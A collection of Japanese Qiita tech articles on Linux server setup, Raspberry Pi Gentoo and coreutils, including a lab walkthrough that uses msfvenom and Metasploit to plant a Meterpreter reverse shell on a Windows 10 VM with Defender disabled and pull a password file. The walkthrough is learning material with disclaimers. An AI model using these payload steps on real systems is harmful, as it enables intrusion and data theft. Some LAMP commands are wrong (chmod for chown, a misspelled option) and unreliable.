 enebular-agent has been successfully installed ✔
   - Version: 2.9.0
   - Location: /home/enebular/enebular-runtime-agent
   - User: enebular
   - Service name: enebular-agent-enebular

 AWS IoT Thing {thing name} has been created.
 enebular-agent is running as a system service.
 To check the status of agent, run the following command on the target device:
   sudo journalctl -ex -u enebular-agent-enebular.service
==========================================================================================================================
See details in full install log file: /tmp/enebular-agent-install-log.GGU8Sf

enebularからフローのデプロイ

enebularからフローがデプロイできるか試してみました。enebularからデバイスにデプロイするにはConnectionの作成が必要です。
簡単なフローを作り、デプロイしてみます。
image.png

デプロイが成功しました。
image.png

今後

実験はしてみましたが、特に何に使おうとは考えていませんでしたw
とりあえずChrome bookでnodeREDをささっとインストールする場合は楽かもしれませんね。
今後、Chrome bookの機能が扱えるノードを使った何かができればいいかなと思ってます。センサー等を繋げる場合はRaspberry-piの方が良いと思うので、ディスプレイやタッチパネルが簡単に使えるChrome bookならでは何かができれば面白いですね。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CentOS8 LAMP構築

環境

CentOS Linux release 8.0.1905 (Core)
Minimal installにgcc関係・vim・gitくらい入れたもの

web

Install_and_configure_apache2.4.37
[C8LX@root ~]# dnf install httpd httpd-devel httpd-tools mod_ssl -y
[C8LX@root ~]# httpd -v
Server version: Apache/2.4.37 (centos)
Server bui lt:   Oct  7 2019 21:42:02

[C8LX@root ~]# cd /etc/httpd/conf/
[C8LX@root /etc/httpd/conf]# cp httpd.conf httpd.conf.bk

[C8LX@root /etc/httpd/conf]# cat httpd.conf.bk | egrep -v "(\#|^$)" > httpd.conf

[C8LX@root /etc/httpd/conf]# vim httpd.conf
-:Listen 80
+:Listen 0.0.0.0:80

-:    DirectoryIndex index.html
+:    DirectoryIndex index.php index.html index.cgi
(末尾に追記)
ServerTokens Prod

[C8LX@root /etc/httpd/conf]# cd

[C8LX@root ~]# firewall-cmd --list-all
  services: cockpit dhcpv6-client ssh

[C8LX@root ~]# firewall-cmd --remove-service={dhcpv6-client,cockpit} --zone=public --permanent

[C8LX@root ~]# firewall-cmd --add-serevice={http,https} --zone=public --permanent

[C8LX@root ~]# firewall-cmd --reload

[C8LX@root ~]# firewall-cmd --list-all
  services: http https ssh

[C8LX@root ~]# echo "test page" > /var/www/html/index.html

[C8LX@root ~]# chmod -R apache:apache /var/www

[C8LX@root ~]# systemctl start httpd

[C8LX@root ~]# systemctl enable httpd

ブラウザで http://サーバIP/ へアクセスして、表示されればOK。

PHP

Install_and_configure_php7.2.11
[C8LX@root ~]# dnf install php php-fpm php-mbstring \
php-devel php-mysqlnd -y

[C8LX@root ~]# php -v
PHP 7.2.11 (cli) (built: Oct  9 2018 15:09:36) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

[C8LX@root ~]# vim /etc/php.ini
-:;date.timezone =
+:date.timezone = Asia/Tokyo
-:expose_php = On
+:expose_php = Off
-:;mbstring.language = Japanese
+:mbstring.language = Japanese
-:;mbstring.internal_encoding =
+:mbstring.internal_encoding = UTF-8
-:;mbstring.http_input =
+:mbstring.http_input = UTF-8
-:;mbstring.http_output =
+:mbstring.http_output = UTF-8
-:;mbstring.encoding_translation = Off
+:mbstring.encoding_translation = On
-:;mbstring.detect_order = auto
+:mbstring.detect_order = auto
-:;mbstring.substitute_character = none
+:mbstring.substitute_character = none

[C8LX@root ~]# echo -n '<?php\nphpinfo();\n?>' > /var/www/html/index.php

[C8LX@root ~]# cp /etc/php-fpm.d/www.conf /etc/php-fpm.d/www.conf.bk
[C8LX@root ~]# vim /etc/php-fpm.d/www.conf
-:;listen.owner = nobody
+:listen.owner = apache
-:;listen.group = nobody
+:listen.group = apache
-:;listen.mode = 0660
+:listen.mode = 0660

[C8LX@root ~]# systemctl restart httpd

ブラウザでhttp://サーバIP/index.phpへアクセスして、phpinfo()が表示されればOK。

mysql

Install_and_configure_mysql8.0
[C8LX@root ~]# dnf install mysql-server mysql-devel -y

[C8LX@root ~]# vim /etc/my.cnf.d/mysql-server.cnf
(末尾に追記)
+:character-set-server=utf8
+:bind-address=0.0.0.0
#+:collation-server=utf8_unicode_ci

[C8LX@root ~]# vim /etc/my.cnf
([client]直下に追記)
+:default-character-set=utf8
+:[mysql]
+:default-character-set=utf8

[C8LX@root ~]# cp /usr/lib/systemd/system/mysqld.service \
/etc/systemd/system/

[C8LX@root ~]# vim /etc/systemd/system/mysqld.service
-:ExecStart=/usr/libexec/mysqld --basedir=/usr
+:ExecStart=/usr/libexec/mysqld --basedir=/usr --skip-mysqlx

[C8LX@root ~]# systemctl daemon-reload

[C8LX@root ~]# systemctl start mysqld.service

[C8LX@root ~]# systemctl status mysqld.service
   Active: active (running)

[C8LX@root ~]# netstat -ant
tcp    0    0    0.0.0.0:3306    0.0.0.0:*    LISTEN

[C8LX@root ~]# mysql -u root
(※以下大文字は任意)
mysql> create database DBNAME;
mysql> create user USERNAME@localhost;
mysql> grant all privileges on DBNAME.* to USERNAME@localhost;
mysql> alter user USERNAME@localhost identified by 'PASSWORD';
mysql> quit;

[C8LX@root ~]# vim test.php
<?php
    try {
        $dbcon = new PDO('mysql:host=localhost;dbname=DBNAME','USERNAME','PASSWORD');
        printf("success\n");
    }
    catch(PDOException $e){
        printf("failure\n");
        exit;
    }   
?>  

[C8LX@root ~]# php test.php
success

[C8LX@root ~]# firewall-cmd --add-service=mysql --zone=public --permanent

[C8LX@root ~]# firewall-cmd --reload

[C8LX@root ~]# firewall-cmd --list-all
  services: http https mysql ntp samba samba-client ssh

ひとまずここまで。SQL苦手だからいつも検索するんだけど、
ちょくちょく全部大文字になってる場合があるの何故なんだろう。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Linux Nginx】Webサーバ初期設定で使うコマンド集

ファイアウォールの設定

HTTP(TCPの80番ポートを空ける)を利用(現在の設定を変更して保存)
[user@host]$ sudo firewall-cmd --add-service http
[user@host]$ sudo firewall-cmd --add-service http --permanent
success

HTTPS(TCPの443番ポートを空ける)を利用(現在の設定を変更して保存)
[user@host]$ sudo firewall-cmd --add-service https
[user@host]$ sudo firewall-cmd --add-service https --permanent
success

nginx

開始
[user@host]$ sudo systemctl start nginx
終了
[user@host]$ sudo systemctl stop nginx
再起動
[user@host]$ sudo systemctl restart nginx
設定ファイル再読み込み
[user@host]$ sudo systemctl reload nginx
状態表示
[user@host]$ sudo systemctl status nginx -l

nginx エラーログの場所

/var/log/nginx/error.log

nginx 設定ファイル コメントアウト

シェルスクリプト同様「#」でコメントアウトが可能です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

はじめてのWindows10ハッキング

攻撃の手口を知り、セキュリティ意識の高い人間になりたい。
というのは建前で、ハッカーってカッコよくね?という動機でハッキングの練習をはじめました。

株式会社ピー・アール・オーのアドベントカレンダー4日目です。
何かを作る内容ではないですが、こんな自分が「あったらいいな!」ということでご容赦ください...

やること

VMでWindows実験環境を構築し、別の環境(Kali Linux)から攻撃、遠隔操作します。
長くなりましたが、画像多めです。

※ダメ、絶対。

本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。

準備する

まず、攻撃端末とターゲット端末をVMで構築します。
今回は、以下の環境で行いました。

  • ホスト OS: macOS 10.15.2 Beta
  • ゲスト OS
    • 攻撃端末: Kali Linux 5.3.0-kali2-amd64
    • ターゲット端末: Windows10
  • 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)

攻撃環境の構築

Kali Linuxはペネトレーションテストに用いられるLinuxディストリビューションです。
Debianをベースに作られており、300以上のペネトレーションテスト用ツールがプリインストールされています。

今回はKali Linuxを使用しますが、各自使い慣れたOSに攻撃ツールをインストールしても問題ありません。

Kali Linux のインストール

以下のページからKali Linuxのイメージをダウンロードします。
https://www.kali.org/downloads/
今回は「Kali Linux 64-Bit」をダウンロードしました。

本記事では、詳細なインストール方法は割愛します。

実験用 Windows 環境の構築

Windows10のイメージをダウンロードする

以下のページから Windows10 の ISO ファイルをダウンロードしてきます。
https://www.microsoft.com/ja-jp/software-download/windows10ISO

VM 作成

VirtualBoxの新規から仮想マシンを作成します。
スクリーンショット 2019-12-01 20.42.31.png
スクリーンショット 2019-12-01 20.43.16.png
スクリーンショット 2019-12-01 20.43.43.png
スクリーンショット 2019-12-01 20.43.58.png
スクリーンショット 2019-12-01 20.44.35.png
スクリーンショット 2019-12-01 20.44.55.png
スクリーンショット 2019-12-01 20.45.06.png
できました。

インストール&セットアップ

  • Windows10の仮想マシンを起動します。
  • 「起動ハードディスクの選択」画面でインストールしたISOファイルを選択します。
  • 画面にしたがって初期設定を進めます。
    ライセンス認証画面では「プロダクトキーがありません」をクリックします。
    スクリーンショット 2019-12-01 20.56.20のコピー.png
    インストールの種類では「カスタム: Windowsのみをインストールする」を選択します。
    スクリーンショット 2019-12-01 20.58.06.png
    認証画面では、他のWindows端末と動機ファイルが同期されないよう「オフラインアカウント」をクリックします。
    スクリーンショット 2019-12-01 21.17.42のコピー.png
    デバイスのプライバシー設定の選択では、すべて無効にします。
    スクリーンショット 2019-12-01 21.24.02.png
    デスクトップ画面が表示されれば設定完了。

  • 仮想ドライブからISOファイルを除去する
    Windows10を一度終了し、VirtualBoxの設定 > ストレージを開く。
    光学ドライブの右にあるディスクアイコンをクリックし、「仮想ドライブからディスクを除去」を選択します。
    スクリーンショット 2019-12-01 22.06.23.png

これで準備は完了です!

攻撃する(本編)

今回の攻撃実験は以下の環境で行います。
攻撃端末とターゲット端末は同じネットワーク内に存在させます。

端末 IPアドレス
Kali Linux(攻撃端末) 10.0.0.2
Windows10(ターゲット端末) 10.0.0.102

攻撃端末からターゲット端末を制御できるようにする

Metasploit Framework で リバースシェルを作成し、ターゲット端末で実行します。

Metasploit Framework とは

オープンソースのペネトレーションテストツールであり、調査、侵入、攻撃、バックドアの設置・接続といったサーバー侵入の一連の流れを行うことができます。
Kali Linux にはデフォルトで用意されています。
※不正アクセスとなるため、許可されていない外部の環境に対して使用しないでください。

ペイロードの作成

ペイロードは、悪意のある動作をする実行コードのことです。
今回は、TCPリバースシェルのペイロードを作成します。

※リバースシェルはターゲット端末から攻撃端末側に対して接続するタイプのシェルで、ファイアウォールやルーターが、アウトバウンド(内部から外部への接続)に対し比較的制限がゆるく、通信がブロックされにくい点を狙われています。

以下のコマンドで、64bitのwindowsを対象とし、接続先を攻撃端末(10.0.0.2)に指定したTCPリバースシェルが作成されます。

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe

外部から実行ファイルにアクセスできるようにする

作成したペイロードはなんらかの方法でターゲット端末に実行してもらう必要があります。
今回は、Apache を起動して、ターゲット端末のブラウザからアクセスできるようにします。

# mkdir /var/www/html/share
# cp /root/Desktop/evil.exe /var/www/html/share/
# service apache2 restart

ターゲット端末にペイロードをダウンロードさせる

windows10側のブラウザから http://10.0.0.2/share にアクセスします。
スクリーンショット 2019-12-04 7.37.36.png

evil.exeが存在することが確認できましたので、これをダウンロードしてみます。

evil.exeをクリックして実行を選択すると、Windows Defender Antivirusにウイルスとして検知されたため、失敗しました。
スクリーンショット 2019-12-04 7.40.05.png

右下の通知をクリックすると、トロイの木馬という聞いたことのある名前が現れて少しワクワクしています。
スクリーンショット 2019-12-04 8.14.08.png

ここで「操作」から「許可する」を選択してもう一度保存しようとすると、表示が変わりました。
この状態で実行をクリックして保存します。
スクリーンショット 2019-12-04 8.14.42.png

次に、Windows Defender セキュリティセンターで「リアルタイム保護」をオフにしてから再度ダウンロードします。
スクリーンショット 2019-12-04 8.19.15.png
詳しい設定方法はこちら( https://121ware.com/qasearch/1007/app/servlet/relatedqa?QID=018503 )を参照してください。

スクリーンショット 2019-12-04 8.21.39.png
今度は何も警告が出ずにダウンロードに成功しました。

フォルダを開くと、リアルタイム保護がオンの時に保存したもの(evil.exe)と、オフの時に保存したもの(evil(1).exe)の2つが存在していることが確認できます。
スクリーンショット 2019-12-04 8.28.52.png

攻撃側でリバースシェルを待ち受ける

攻撃端末で次のコマンドを実行し、リバースシェルによる接続を待ち受けます。

# msfconsole      <----入力
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***


                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


       =[ metasploit v5.0.62-dev                          ]
+ -- --=[ 1949 exploits - 1090 auxiliary - 334 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]


msf5 > use exploit/multi/handler  <----入力
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp  <----入力
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2  <----入力
LHOST=>10.0.0.2
msf5 exploit(multi/handler) > exploit -j -z  <----入力
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.0.0.2:4444   <----待ち受け開始
msf5 exploit(multi/handler) > 

ターゲット端末でペイロードを実行する

Windows側でペイロードを実行します。
リアルタイム保護がオンの時にダウンロードしたものと、オフの時にダウンロードしたものをそれぞれ、リアルタイム保護がオンの状態とオフの状態のパターンで計4回実行します。

【ダウンロード時】
リアルタイム保護が有効
(evil.exe)
【ダウンロード時】
リアルタイム保護が無効
(evil(1).exe)
【実行時】
リアルタイム保護が有効
攻撃失敗 攻撃失敗
【実行時】
リアルタイム保護が無効
攻撃失敗 攻撃成功

いずれも実行時に警告がでるが、詳細 > 実行で強制的に実行します。
スクリーンショット 2019-12-04 9.00.17.png

失敗時の画面はこちら。
スクリーンショット 2019-12-04 9.03.19.png

成功時は攻撃側コンソールに以下のように表示されます。

msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:49975) at 2019-12-04 09:08:01 +0900

この状態でEnterを押したあと、sessionsコマンドでセッション一覧を表示します。

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  2         meterpreter x64/windows  DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F  10.0.0.2:4444 -> 10.0.0.102:49975 (10.0.0.102)

攻撃環境(10.0.0.2)からターゲット環境(10.0.0.102)への接続が確認できました。

Meterpreterプロンプトで遠隔操作する

次に、実験用にpassword.txtファイルをWindows側に作成します。
スクリーンショット 2019-12-04 9.16.07.png

攻撃側でセッションIDを指定してMeterpreterプロンプトを表示させます。

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > 

password.txtを探してダウンロードします。

meterpreter > pwd
C:\Users\arakawa\Downloads
meterpreter > ls
Listing: C:\Users\arakawa\Downloads
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-12-01 21:24:25 +0900  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-12-04 08:21:32 +0900  evil (1).exe
100777/rwxrwxrwx  7168  fil   2019-12-04 09:07:02 +0900  evil.exe
100666/rw-rw-rw-  8     fil   2019-12-04 09:15:30 +0900  password.txt

meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): password.txt -> password.txt
[*] download   : password.txt -> password.txt
meterpreter > 

別のターミナルを開き、ダウンロードできていることを確認します。

root@kali:~# ls -la password.txt 
-rw-r--r-- 1 root root 8 Dec  4 09:15 password.txt

無事(?)ダウンロードできていました!!

まとめ

Kali Linuxを利用してWindows10へ攻撃、遠隔操作の実験を行いましたが、
思っていたよりも簡単にできてしまったのは意外でした。
Windows Defenderがしっかり仕事をしてくれているのを実感できたのも個人的には収穫かなーと思います。

この次のステップとして、バックドアを作成したり、ペイロードを偽装したり、まだまだ盛りだくさんなので、いずれ続きを書くかもしれません。

参考書籍

IPUSIRON『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』翔泳社(amazon)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Linuxのシステム情報を表示するツール

教えていただいた便利ツールの備忘録です。
sudo apt install inxi でインストールします。

master@sv-debian:~$ sudo inxi -Fxxxz
System:    Host: sv-debian Kernel: 4.19.0-6-amd64 x86_64 bits: 64 compiler: gcc v: 8.3.0 Console: tty 0 dm: LightDM 1.26.0
           Distro: Debian GNU/Linux 10 (buster)
Machine:   Type: Vmware System: VMware product: VMware7,1 v: N/A serial: <filter> Chassis: No Enclosure type: 1 serial: N/A
           Mobo: Intel model: 440BX Desktop Reference Platform serial: N/A UEFI: VMware v: VMW71.00V.6997262.B64.1710270607
           date: 10/27/2017
CPU:       Topology: Quad Core model: Intel Core i7-6700 bits: 64 type: MCP arch: Skylake-S rev: 3 L2 cache: 8192 KiB
           flags: lm nx pae sse sse2 sse3 sse4_1 sse4_2 ssse3 bogomips: 27200
           Speed: 3400 MHz min/max: N/A Core speeds (MHz): 1: 3400 2: 3400 3: 3400 4: 3400
Graphics:  Device-1: VMware SVGA II Adapter driver: vmwgfx v: 2.15.0.0 bus ID: 00:0f.0 chip ID: 15ad:0405
           Display: server: X.org 1.20.4 driver: vmware unloaded: fbdev,modesetting,vesa tty: 200x50
           Message: Advanced graphics data unavailable in console for root.
Audio:     Device-1: Ensoniq ES1371/ES1373 / Creative Labs CT2518 driver: snd_ens1371 v: kernel bus ID: 02:01.0
           chip ID: 1274:1371
           Sound Server: ALSA v: k4.19.0-6-amd64
Network:   Device-1: Intel 82371AB/EB/MB PIIX4 ACPI vendor: VMware Virtual Machine type: network bridge driver: N/A port: 2150
           bus ID: 00:07.3 chip ID: 8086:7113
           Device-2: VMware VMXNET3 Ethernet driver: vmxnet3 v: 1.4.16.0-k port: 3000 bus ID: 03:00.0 chip ID: 15ad:07b0
           IF: ens160 state: up speed: 10000 Mbps duplex: full mac: <filter>
Drives:    Local Storage: total: 60.00 GiB used: 603.28 GiB (1005.5%)
           ID-1: /dev/sda vendor: VMware model: Virtual S size: 60.00 GiB serial: N/A rev: 1.0 scheme: GPT
Partition: ID-1: / size: 55.26 GiB used: 5.00 GiB (9.1%) fs: btrfs dev: /dev/dm-0
           ID-2: /boot size: 236.3 MiB used: 59.0 MiB (25.0%) fs: ext2 dev: /dev/sda2
           ID-3: swap-1 size: 4.00 GiB used: 0 KiB (0.0%) fs: swap dev: /dev/dm-1
Sensors:   Message: No sensors data was found. Is sensors configured?
Info:      Processes: 201 Uptime: 5m Memory: 3.83 GiB used: 492.0 MiB (12.5%) Init: systemd v: 241 runlevel: 5 Compilers:
           gcc: 8.3.0 alt: 8 Shell: nologin (sudo) running in: tty 0 (SSH) inxi: 3.0.32
master@sv-debian:~$
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Linux】ルート以下のディレクトリ

/

最上位。

/bin

システム構成に必要な基本的なコマンド。

/boot

起動用。

/dev

デバイス捜査用。

/etc

システム設定用。

/home

ユーザーのhomeディレクトリ。

/lib

/bin、/sbin用の共有ライブラリ

/lost+found

迷子&破損ファイル

/misc

雑多なファイル。

/mnt

一時的なパーティションのためのマウントポイント。

/proc

カーネル検査ファイル。

/root

スーパーユーザーのホームディレクトリ。

/sbin

管理用コマンド。

/tmp

一時ファイル。全ユーザーが自由に使える原則。

/usr

ユーザー用の階層。

/va

ログ、スプール、システム定義ファイルなど。

/var

変化が多いファイル。ログファイルなど。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

RaspberryPi4でGentoo Linuxを動かす

Raspberry Pi 4が日本でやっと発売されたので、Gentoo Linuxのインストール手順を調べてまとめました。

この手順でインストールを行うと64bitでRaspberry Piを使うことができます。(公式OSのRaspbianだと32bitらしいです)

楽な方法

試してないですが、簡単にやるのであれば以下のリポジトリのイメージを使うのが一番早いと思います。自分はsystemd使いたいのと、Gentooといえば自分でstage3展開からセットアップしていくものだと思ったので、この記事では手動でセットアップをしたときの手順を記載します。1

https://github.com/sakaki-/gentoo-on-rpi-64bit

ビルド用コンテナイメージ

以下の作業で必要なものを入れたコンテナイメージを用意したので、これを使うと環境準備の手間が省けると思います。この記事はこのイメージを利用した場合を前提に記述していますが、Dockerfileを参考に必要なものを自分で入れて適宜読み替えれば、このイメージを使わなくともセットアップできると思います。
https://github.com/int2xx9/raspberrypi-workbench

起動は↓のような感じでできると思います。

# docker pull docker.pkg.github.com/int2xx9/raspberrypi-workbench/raspberrypi-workbench:20191204
# docker run --rm -it -v $(pwd)/work:/work --privileged docker.pkg.github.com/int2xx9/raspberrypi-workbench/raspberrypi-workbench:20191204 bash

起動すると、存在しない場合以下の3つのリポジトリが/work以下にクローンされます。Raspberry Pi固有のファームウェアやカーネル等はこのリポジトリのものを使用してセットアップを行います。

カーネルコンパイル

カーネルコンパイル
# cd /work/linux
# ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make bcm2711_defconfig
# ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make menuconfig
# ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make -j3

menuconfigはしなくともとりあえず起動するカーネルは作れると思います。自分はCPU governorをondemandに変えたりいくつかの設定を変更しました。

-j3は使用しているマシンのコア数等に応じて適宜調整します。Core i3-2100の環境でだいたい40分弱くらいでコンパイルできました。

パーティション作成

パーティションはこんな感じの構成にします。メモリが4GBあるのと、SDカードの書き込みを減らすため、とりあえずスワップは作成しないことにしました。

種類 タイプ 容量
boot FAT32 127MiB
rootfs ext4 (上を除いた残り)

実際にパーティションの作成とフォーマットをします。

パーティション作成時、1つ目のパーティションのパーティションタイプ(≠実際にフォーマットするファイルシステム)はFAT32になっていないと、ACTランプが4回点滅してstart.elfを見つけられずエラーとなるみたいなので注意。

partedでパーティション作成
# parted /dev/sdf
(parted) mklabel msdos
(parted) mkpart p fat32 1MiB 128MiB
(parted) mkpart p ext4 128MiB -1
(parted) set 1 boot on

次に作成したパーティションをフォーマットします。上のコンテナイメージを使ってる人でこの後/dev/sdf1, /dev/sdf2が見つからない場合、一度コンテナを起動しなおせば出てくると思います。

作成したパーミッションをフォーマット
# mkfs.vfat -F32 /dev/sdf1
# mkfs.ext4 -i 8192 /dev/sdf2

stage3とportageの展開

ここはPCにインストールする場合とだいたい同じような感じです。

stage3とportageの展開
# mount /dev/sdf2 /mnt/gentoo
# cd /mnt/gentoo
# curl 'http://distfiles.gentoo.org/experimental/arm64/stage3-arm64-systemd-20190925.tar.bz2' | tar jxp --xattrs-include='*.*' --numeric-owner
# mkdir -p /mnt/gentoo/etc/portage/repos.conf
# cp /mnt/gentoo/usr/share/portage/config/repos.conf /mnt/gentoo/etc/portage/repos.conf/gentoo.conf
# mkdir -p /mnt/gentoo/var/db/repos/gentoo
# curl 'http://distfiles.gentoo.org/snapshots/portage-latest.tar.bz2' | tar xj --strip 1 -C /mnt/gentoo/var/db/repos/gentoo/

最低限の設定

rootのパスワードとfstabを設定しておきます。とりあえずこれだけ設定しておけば起動とログインまではできるはずです。

普通のPCに入れる場合と違いchrootしておらずpasswdコマンドが使えないため、パスワードは/etc/shadowを直接書き換えて無理やり設定します。opensslの引数に指定しているrootがパスワードになるので、設定したいパスワードがある場合適当に変更します。

パスワードの設定
# sed --in-place -e 's,^root:\*:,root:'$(openssl passwd -6 root)':,' /mnt/gentoo/etc/shadow

fstabを設定します。

fstabの設定
# cat >> /mnt/gentoo/etc/fstab
/dev/mmcblk0p1          /boot           vfat            noauto,noatime  1 2
/dev/mmcblk0p2          /               ext4            noatime         0 1

ブート関連の設定

起動に必要なファイルをコピーします。自分はWifiやBluetoothを使う予定がないため、その関連のファームウェアのコピーはとりあえず行っていません。

ブートに必要なファイルをコピー
# mount /dev/sdf1 /mnt/gentoo/boot/
# cp -r /work/firmware/boot/* /mnt/gentoo/boot/
# cp /work/linux/arch/arm64/boot/Image /mnt/gentoo/boot/kernel8.img
# mv /mnt/gentoo/boot/bcm2711-rpi-4-b.dtb /mnt/gentoo/boot/bcm2711-rpi-4-b.dtb_32
# cp /work/linux/arch/arm64/boot/dts/broadcom/bcm2711-rpi-4-b.dtb /mnt/gentoo/boot/
# cd /work/linux
# ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make modules_install INSTALL_MOD_PATH=/mnt/gentoo

ブート関連の設定ファイルを作成します。

ブート関連の設定ファイルの作成
# cat > /mnt/gentoo/boot/config.txt
arm_64bit=1
enable_gic=1
armstub=armstub8-gic.bin
disable_overscan=1
hdmi_drive=2
dtparam=audio=on
gpu_mem=16
# cat > /mnt/gentoo/boot/cmdline.txt
root=/dev/mmcblk0p2 rootfstype=ext4 rootwait

armstub8-gic.binというものが必要みたいなので作成します。よくわかっていないですが、Raspberry Pi 4からはARMの標準的なGICと呼ばれる割り込みコントローラが使えるようになったため、そのGICの初期化を行うためのものみたいです。2

armstub8-gic.binの用意
# cd /work/tools/armstubs
# make CC8=aarch64-unknown-linux-gnu-gcc LD8=aarch64-unknown-linux-gnu-ld OBJCOPY8=aarch64-unknown-linux-gnu-objcopy OBJDUMP8=aarch64-unknown-linux-gnu-objdump armstub8-gic.bin
# cp armstub8-gic.bin /mnt/gentoo/boot/

Raspberry Piを起動する

ここまで行えば起動できるようになっているはずなので、/mnt/gentoo, /mnt/gentoo/bootをアンマウント後、Raspberry PiにSDカードを挿入して起動できるか確認します。

起動しなければなにか間違っているので頑張って調べます。緑色のLED(ACT LED)が点滅してる場合は起動時に何らかのエラーが出ているので、点滅回数とエラーの対応表を見るとなにかわかるかもしれないです。3

上にも書きましたが、自分の実例で言うと、最初に起動確認したときに緑LEDが4回点滅してstart.elfが見つからないというエラーが発生しました。原因はパーティションタイプがFAT32になっていないことだったので、パーティションタイプを変更したら起動するようになりました。

参考資料


  1. 本当の理由はこれの存在に気付かず1から構築する手順を調べてしまったからです。 

  2. 4より前のRaspberry Piは独自の割り込みコントローラを使用していて、それはLegacy Interrupt Controllerと呼ばれているみたいです。 

  3. こことかにその対応の表が掲載されています。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

commコマンド

Coreutils Advent Calendar 12日目です

 今回は comm コマンドです。

commコマンドとは

 無料通話アプリのcommではありません(遠い目

 2つのファイルを比較して、片方にしかないデータ、両方にしかないデータなどを出力してくれます。ベン図を書いて、きちんと整理してデータの集計に当たりましょう。

実行例

 実行結果が独特なのでサンプルを載せます。

$ seq 1 3 9 > q
$ seq 1 2 9 > w
$ head q w
==> q <==
1
4
7

==> w <==
1
3
5
7
9
$ comm q w
               1
        3
  4
        5
               7
        9

カラムの取り出し

 カラムが3つあります。単独でカラムを取り出したい場合は、 -1 , -2 , -3 というオプションを使います。 またCoreutils 8.26から --total が追加されました。こんな感じです。totalの行は -123 とすると単独で取り出せます。

$ comm q w --total
                1
        3
4
        5
                7
        9
1       3       2       total

 おしまい。

次回

 shuf コマンド。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

tsortコマンド

Coreutils Advent Calendar 11日目です

 今回は tsort コマンドです。前後関係を与えると、その順にソートしてくれます。マニュアルによると「有向グラフのトポロジカルなソートを行う」と書かれています。

tsortコマンドとは

 実行例を見た方が早いです。 hoge は fuga の前にあるといった組を用意してtsortに食わせると順番に並び替えます。

$ cat text
hoge fuga
fuga piyo
foo bar
bar baz
baz hoge

$ tsort text
foo
bar
baz
hoge
fuga
piyo

$ cat d
a b
b c
c d
d a
$ tsort d
tsort: d: input contains a loop:
tsort: a
tsort: b
tsort: c
tsort: d
a
b
c
d

次回

 comm コマンド。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

sortコマンド

Coreutils Advent Calendar 10日目です

 今回は sort コマンドです。CoreutilsのマニュアルのOperation on sorted filesのセクションに入ってきました。

sortコマンドとは

 ファイル中身をソートするコマンド...と書き始めたかったのですが、それ以外にも機能があります。

 ファイルを、ソート、マージ、または比較し、表示します。実は3つのモードを持っていて、ソートするモード、マージするモード、ファイルがソートされているかチェックするモードがあります。

チェックするモード

 チェックオプションのサンプルは下記のようになります。seqは連続した数字を出力するコマンドです。

$ seq 12 > k; sort -c k
sort: k:10: disorder: 10

マージするモード

